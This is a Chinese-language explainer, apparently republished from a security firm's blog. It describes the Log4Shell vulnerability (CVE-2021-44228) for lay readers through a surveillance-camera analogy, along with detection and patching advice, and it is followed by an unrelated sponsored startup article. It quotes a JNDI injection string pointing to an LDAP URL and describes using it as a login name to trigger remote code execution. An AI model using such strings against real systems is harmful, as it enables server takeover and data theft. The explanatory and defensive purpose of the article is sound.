從監視攝影機理解Log4j跟Log4Shell漏洞
從監視攝影機理解Log4j跟Log4Shell漏洞
2022.01.18 | 物聯網

2021年末資安界最大的新聞莫過於Log4j的漏洞,編號為CVE-2021-44228,又被稱為Log4Shell,甚至被一些人形容為「核彈級漏洞」,可見這個漏洞的影響程度之深遠。

關於技術上的分析已經有很多篇文章在講解了,但對於不懂技術的人來說,可能只知道這個漏洞很嚴重,卻不知道為什麼嚴重,也不知道原理到底是什麼,因此我想從讓非技術背景的人也能理解的角度出發,寫一篇比較白話的文章。

SURVEILLANCE CAMERA
圖/ shutterstock

從監視攝影機談起

我有個朋友叫小明,他家是開雜貨店的。就跟其他商店一樣,在店裡有一支監視攝影機,怕有什麼消費糾紛或是有人來搶劫或偷東西,因此讓攝影機24小時全程錄影,真的發生什麼事了,就會有證據留存下來。

但攝影機的鏡頭角度有限,不可能把整間店面的影像都拍下來,就算真的都拍下來了,要存的資料也會太多(除非小明很有錢,買了一堆攝影機)。因此,攝影機只會對準一些非常重要、值得記錄下來的地方,像是收銀台等等。

原本這支攝影機用了十幾年都沒什麼事情,畢竟不就是把影像記錄起來嗎,能有什麼事情?但最近卻突然有人發現一個攝影機的隱藏功能(嚴格來講不是隱藏功能,因為攝影機的說明書上其實有提到,可是大家都懶得看那一百多頁的說明書,所以很少人知道這個功能)

這個功能是什麼呢?那就是除了錄影以外,這台監視攝影機還有個智慧圖片辨識的功能,如果它看到特定的影像,會根據影像的內容去執行相對應的動作。舉例來說好了,這個圖片辨識功能需要把指令寫在100x100的板子上,一定要黑底白字加上特定格式,像這個樣子:

當攝影機看到上面的圖,符合特定格式,就執行了上面的指令:「關機」,就真的關機了!但關機還沒什麼,指令還可以寫說「把攝影機資料全都給我」之類的,再者,攝影機本來就會即時連線到其他伺服器,這個指令也可以對那些伺服器做操作,例如說把上面的資料全都偷下來等等。

總之呢,一旦讓攝影機拍到指定格式的東西,就會幫你執行指令。

這個功能被爆出來以後,血流成河,因為太多地方都有監視攝影機了,因此許多人都帶著這個板子去看看會不會觸發這個功能。攝影機有分型號,只有一台叫做log4j的攝影機會出事,其他不會,但要注意的事情是有些攝影機它雖然不叫做這名字,可其實是從log4j作為基底改出來的,就一樣會出事。

而有些東西儘管不是攝影機也會出事,例如說有台智慧冰箱,號稱內部有微型攝影機可以即時監控冰箱內部狀況,恰巧這個微型攝影機就是log4j這個型號的攝影機改版出來的,所以也有同樣的問題。

你想想看,如果監視攝影機出了這個問題,那全台灣、全世界這麼多人用這個型號的監視攝影機,當然會引起軒然大波,只要讓攝影機拍到特定的東西就會執行指令,這可嚴重了。

以上是對於log4j漏洞的簡單比喻,在這個故事中雜貨店就像是你的網站,而攝影機的功能就是拿來紀錄(log)對於網站的那些請求(request),整個故事只要記兩個重點就好:

  1. log4j是拿來記錄東西用的
  2. 漏洞原理是只要紀錄某些特定格式的文字,就會觸發一個功能可以執行程式碼

白話的簡易比喻到這邊先結束,想要更了解log4j,我們就必須先來看看什麼是log。

資訊安全 電腦
圖/ shutterstock

有關於log這件事

log的中文翻譯叫做日誌,我相信許多人對這個名詞並不陌生,如果你有跟工程師合作過,他在解決問題時可能會說:「我去看一下log」;或是如果你們跟合作廠商各執一詞,他說A你們說B,這時候就會說:「不然看一下log吧,看看是誰的問題」

當你跟公司的IT合作解決電腦上的小問題時,他也會跟你說要去某個地方複製log給他,他才知道發生了什麼事情。

log就像是一台24小時全年無休的監視攝影機一樣,需要記錄起重要事物的狀況。

那為什麼需要有log呢?這問題就像是「為什麼要有監視攝影機?」一樣,答案很簡單,因為出事的時候才有證據。就像行車記錄器一樣,裝了以後若不幸發生車禍,就可以協助判斷肇責。

舉個例子,假設我是A公司,我們公司是做購物網站的,而通常金流這一塊並不會自己做,而是會找其他做金流的廠商合作,在後端去「串接」金流服務商提供的功能,講白話一點就是:「當使用者要付款時,我把使用者導過去金流廠商的頁面,付款完再導回來我們網站」,相信有在網路上購物的大家應該很熟悉這個流程。

cash_flow_金流_商業_business
許多網路交易的金流系統並不是店家自己開發的,而是串接第三方的金流服務商,為了避免糾紛,過程需要追蹤、留下紀錄。
圖/ shutterstock

在這個過程中,雙方都必須留下紀錄,確保未來發生問題時有證據可以輔助說明。

例如說有天A公司突然接到一堆客訴說沒辦法付款,這時A公司直接打電話去金流商,罵說你們這什麼爛服務,怎麼突然壞掉,而金流商此時提供了伺服器的log,說:「沒有啊,我們這邊從今天早上八點開始就沒有你們導過來的紀錄了,應該是你們的問題吧?」,後來A公司檢查了自己這邊的服務,確實是因為今天早上的版本更新出了問題而導致,跟金流商一點關係都沒有。

這就是log的重要性,當出事的時候你才有證據可以盤查,才能盡可能還原當初的狀況。

做開發者的大家都知道log很重要,所以log基本上是必備的,以網站後端來說,他可能會在交易發生錯誤時留下一筆log,也有可能在發生非預期錯誤時寫下log,或是用log紀錄request中的一些欄位,比如說瀏覽器版本好了,給自己公司內部的數據分析系統來使用。

因此log是個十分常見的功能。這也是為什麼如果這個功能出事了,造成的後果會非常嚴重。

log4j是什麼?

在寫網站後端的程式碼時,會有不同的程式語言可以選擇,例如說Python、JavaScript、PHP或是Java等等,而這些程式語言都會有些專門做log的套件,簡單來說就是有人已經幫你把功能都寫好了,你只要用就好了。

而Java有一個很好用的log套件,就叫做log4j。而這個套件是隸屬於Apache軟體基金會底下,因此全名又叫做Apache Log4j。

Apache底下有很多不同的軟體跟套件,例如說:

Apache HTTP Server(大家最常看到的是這個)
Apache Cassandra
Apache Tomcat
Apache Hadoop
Apache Struts
...
所以Apache Server跟Apache log4j完全是不同的兩個東西,我知道你用Apache Server,跟你有沒有用log4j是兩件事情。

這次出問題的套件就是log4j,而出問題的原因跟我開頭講的一樣,有一個鮮為人知的功能有著安全性的漏洞,只要log4j在記錄log時記錄到某個特定格式的東西,就會去執行相對應的程式碼,就像開頭提的那個「關機」的板板一樣。

再講更詳細一點,其實並不是直接執行程式碼,那一段特定格式長得像這樣:${jndi:ldap://cymetrics.io/test}

先不要管那些你看不懂的字,你可以很明顯看到裡面有一段東西很像網址,對,它就是網址,當log4j紀錄上面那一串字的時候,它發現這串字符合特定格式,就會去裡面的網址(cymetrics.io/test)下載程式碼然後執行,因此這是一個RCE(Remote Code Execution,遠端程式碼執行)漏洞。

前面我有提過後端會記錄許多東西,假設今天有個後端服務是用Java寫的,而它用log4j記錄了使用者登入失敗時輸入的帳號,這時我只要用「${jndi:ldap://cymetrics.io/test}」這個帳號登入,就能夠觸發log4j的漏洞,讓它執行我準備好的程式碼。

只要能執行程式碼,我就可以做很多事情,例如說把伺服器上的資料偷走,或是安裝挖礦軟體幫我挖礦等等。

hacker
只要抓到log4j的這個漏洞,讓他執行程式碼,有心人士就能偷取他們想要的資料,造成嚴重的資安問題。
圖/ Pixabay

為什麼這個漏洞如此嚴重?

第一,log4j這個套件使用的人數極多,只要你有用Java,幾乎都會用這個套件來紀錄log。

第二,觸發方式容易,你只要在request的各個地方塞滿這些有問題的字串,server只要有記錄下來其中一個,就能夠觸發漏洞,而前面我們有提到紀錄log本來就是家常便飯的事情。

第三,能造成的影響極大,漏洞被觸發之後就是最嚴重的RCE,可以直接執行任意程式碼。

結合以上這三點,讓它成了一個核彈級的漏洞。到底有多嚴重,看看這些新聞標題就知道:

1.Apache Log4j 漏洞影響巨大,美國資安主管機關通令政府單位立即修復
2.微軟、蘋果都受波及!日誌框架Apache Log4j爆漏洞,堪稱近10年最大資安威脅
3.【Log4Shell漏洞資訊更新】Log4j 2.15.0修補不全、Apache再釋2.16.0新版,國家駭客已開始行動

還有一點差點忘了提,有許多其他的軟體也都用了log4j這個套件,因此也會有問題,國外有人整理出一份被影響的清單:Log4Shell log4j vulnerability (CVE-2021-44228 / CVE-2021-45046) - cheat-sheet reference guide,洋洋灑灑一大片,像是Minecraft這個遊戲的伺服器也有用到log4j,所以也被這個漏洞給影響。

該怎麼知道我有沒有被這個漏洞影響?

可以先確認自己家的程式有沒有用到log4j這個套件以及套件的版本,也需要一併檢查有沒有使用上面那張清單列出來的其他軟體。

如果你是工程師,也可以用一些現有的工具檢測是否受到漏洞影響,像是:log4j-scan或是jfrog提供的log4j-tools等等。

或如果真的不知道該如何處理,也可以聯絡我們,看我們可以怎樣幫助你。

該如何修補?

由瑞士CERT發表的這篇文章:Zero-Day Exploit Targeting Popular Java Library Log4j中,有給了一張從各個環節去防禦的圖:

如果來不及把根本原因修掉,可以先上WAF(Web Application Firewall),簡單來說就是針對網站的防火牆,把那些惡意的字串擋掉,例如說Cloudflare就在第一時間增加了WAF的規則加以阻擋,不過也有很多人在研究怎麼繞過WAF的規則,因此這是治標不治本的做法。

治本的方法就是把log4j停用或是升版,升級到不會被這個漏洞影響的版本,但有些時候第一時間的改版可能沒有把漏洞完全補掉,因此記得更新完以後還是要密切注意是否有更新的版本。例如說在這篇文章寫完後過沒多久,官方就釋出了第三個patch修復其他相關問題:Apache Issues 3rd Patch to Fix New High-Severity Log4j Vulnerability

結語

一個很多人用的套件,加上一個很常見的功能,再加上一個很簡單的攻擊方式以及嚴重的後果,就成了一個可以被載入史冊的漏洞。

文中有些比喻為了不要講得太細節,會是精簡過後的版本,不一定能完全涵蓋本來的漏洞,在轉換成故事比喻的過程中一定會有一些遺漏的部分,但對於整體的理解我覺得影響不大。

如果你想了解更技術的細節以及時間軸,很推薦這一支影片:Hackers vs. Developers // CVE-2021-44228 Log4Shell,裡面講得很清楚,也探討了開發者與資安從業人員的關係。

Hackers vs. Developers // CVE-2021-44228 Log4Shell

最後,希望這篇文章能讓不懂技術的大家更了解log4shell是怎樣的漏洞,以及這個漏洞為什麼如此嚴重。文中若有錯誤也請不吝留言指正,感謝。

本文由Huli授權轉載自其Cymetric Tech Blog

《數位時代》長期徵稿,針對時事科技議題,需要您的獨特觀點,歡迎各類專業人士來稿一起交流。投稿請寄edit@bnext.com.tw,文長至少800字,請附上個人100字內簡介,文章若採用將經編輯潤飾,如需改標會與您討論。

(觀點文章呈現多元意見,不代表《數位時代》的立場)

責任編輯:吳佩臻、侯品如

關鍵字: #資訊安全
往下滑看下一篇文章
打開信任之門,強化品牌韌性! 證交所創新板2.0引領新創以三大支點躍向國際資本市場
打開信任之門,強化品牌韌性! 證交所創新板2.0引領新創以三大支點躍向國際資本市場

長期觀察臺灣新創生態,推動國內Meet創業小聚、AAMA搖籃計畫的巨思文化共同創辦人暨執行長陳素蘭,她指出新創若要跨越成長瓶頸,必須穩固「品牌、信任、資本」三大支點,並形成動態的正向循環。

特別是今年迎來臺灣證券交易所「創新板」2.0新局,新創更應該善用資源,藉由透明化治理贏得市場信任,同時借助資本平台放大品牌能量,鍛鍊好企業體質後進軍國際市場。上市,從未是終點,而是企業累積第二成長曲線的底蘊,更是企業實踐社會責任、進入永續成長的起點。

從品牌認知到信任資本:新創企業的成長三支點

新創從零到一的過程,通常會經歷哪些關鍵的成長階段?陳素蘭直言,「新創是社會上的新面孔,必須要先被看見有知名度(Awareness),接著才能被市場認可(Acceptance),最終進而累積深厚的品牌信任感(Trust),這是一條每家新創企業的必經之路。」

不論是經營B2C或B2B市場,品牌信任感的建立,不能只依賴短期預算所帶來的瞬間行銷曝光。陳素蘭建議,新創進入市場前先清楚定位自身的獨特價值,持續落實言行合一的經營策略,向消費者與商業夥伴展現長期的價值承諾。換言之,品牌與信任的塑造並非一蹴可幾,背後往往需要資本的挹注支持。

由此觀之,新創要走得踏實、奠基穩固基礎,陳素蘭認為需要三個關鍵支點「品牌力、信任力、資本力」的構成,而且這三個支點環環相扣、彼此影響。陳素蘭解釋:「品牌力帶動信任力,信任力吸引資本力,然後再運用資本的投入,讓企業能持續深化技術研發與強化市場行銷;同時,也能推動組織管理優化,提升整體營運效率與品牌競爭力,三者之間形成正向循環,正是企業穩健成長、立足市場的關鍵。」

創新板2.0升級啟動,為新創點燃成長引擎之火

數位時代X臺灣證券交易所
圖/ 數位時代

相較於國際市場的創業環境,這三個支點之中,臺灣新創過去大多較忽略的,是善用「資本市場」以作為加速成長力道的槓桿資源。因為許多創業者花更多心力在技術打磨、產品開發,但當要拓展更大的營收版圖時,才赫然發現,資本市場的力量不可或缺。

正因如此,臺灣證券交易所推動的「創新板2.0」升級,即是賦能新創,強化品牌信任與營運體質的關鍵轉捩點。陳素蘭指出,觀察創新板2.0做了一系列革新,包含取消合格投資人限制、提供新創多階段上市輔導機制,以及上市後加強品牌曝光、媒合投資人互動等措施,藉此讓更多具潛力的新創有機會進入資本市場,也協助企業在募資、品牌信任與市場能見度更上層樓。

陳素蘭舉兩個登上創新板最有印象的企業,其一是首家進入創新板的錼創科技,一路看著他們透過資本市場的公開透明與品牌強化,不僅打開市場知名度,甚至受惠創新板2.0新制,股票流動性的提升,反映市場對其價值的信心,也進一步吸引更多國際訂單。另一家來自AAMA計畫第二期學員的Gogolook,在創新板的助力下穩健營運體質,近年有更多消費者認識他們的資安解決方案,甚至Gogolook順利進軍歐洲完成策略併購,並進一步擴大全球市場佈局。

從這兩個案例當中,陳素蘭提到:「創新板2.0的存在意義,不是單純協助新創企業掛牌上市而已,更是為企業打開信任之門、提升品牌能見度與資本能量的成長引擎。」加上證交所提供系統化、階段式的支持輔導機制,越來越多新創得以從市場的新面孔,蛻變成有競爭力與市場信任的長青企業。

立足臺灣,邁向全球:上市是新創永續經營的起點

面對全球競爭日益激烈,越來越多臺灣新創在立足本土市場後,下一階段將放眼國際商機。這時候,資本市場的支持,亦是新創邁向國際的重要推手。陳素蘭提到,她觀察創新板效法那斯達克(NASDAQ),是支持創新的首選籌資平台,幫助尚未獲利但有商業模式潛力的企業,獲得進入國際市場的關鍵資金。而且有創新板的背書,臺灣新創在進入海外市場的時候,對品牌信任更是加分元素。

陳素蘭就觀察到,證交所協助新創拓展海外市場時,持續投入資源並展現高度支持。她指出,「近期證交所與KPMG一起成立『東南亞創新資本平台』,就是扮演鏈結臺灣與東南亞創新生態系的橋樑,幫助更多新創在東協市場進行業務拓展、資金媒合與合作交流。」

不過陳素蘭也強調,新創在跨足國際市場時,更需要「負責任地」使用資本市場的資金。「對資本的負責態度,就是願意把自身的經營承諾、財務表現公開在陽光底下,接受各界的檢驗,不僅有助於建立企業的良好形象,更能贏得國際投資者與合作夥伴的信任,」她補充道。

因此,上市進入創新板,對新創企業而言,絕非是成功的終點,更是邁向國際化及永續經營的新起點。借助證交所創新板2.0的支持,相信有更多臺灣新創企業在資本市場穩健成長,持續深化「三大支點」實力,穩健立足在地、勇於挺進國際,展現臺灣新創追求永續發展與國際競爭力的堅實動能。

登入數位時代會員

開啟專屬自己的主題內容,

每日推播重點文章

閱讀會員專屬文章

請先登入數位時代會員

看更多獨享內容

請先登入數位時代會員

開啟收藏文章功能,

請先登入數位時代會員

開啟訂閱文章分類功能,

請先登入數位時代會員

我還不是會員, 註冊去!
追蹤我們
AI全球100+台灣50
© 2025 Business Next Media Corp. All Rights Reserved. 本網站內容未經允許,不得轉載。
106 台北市大安區光復南路102號9樓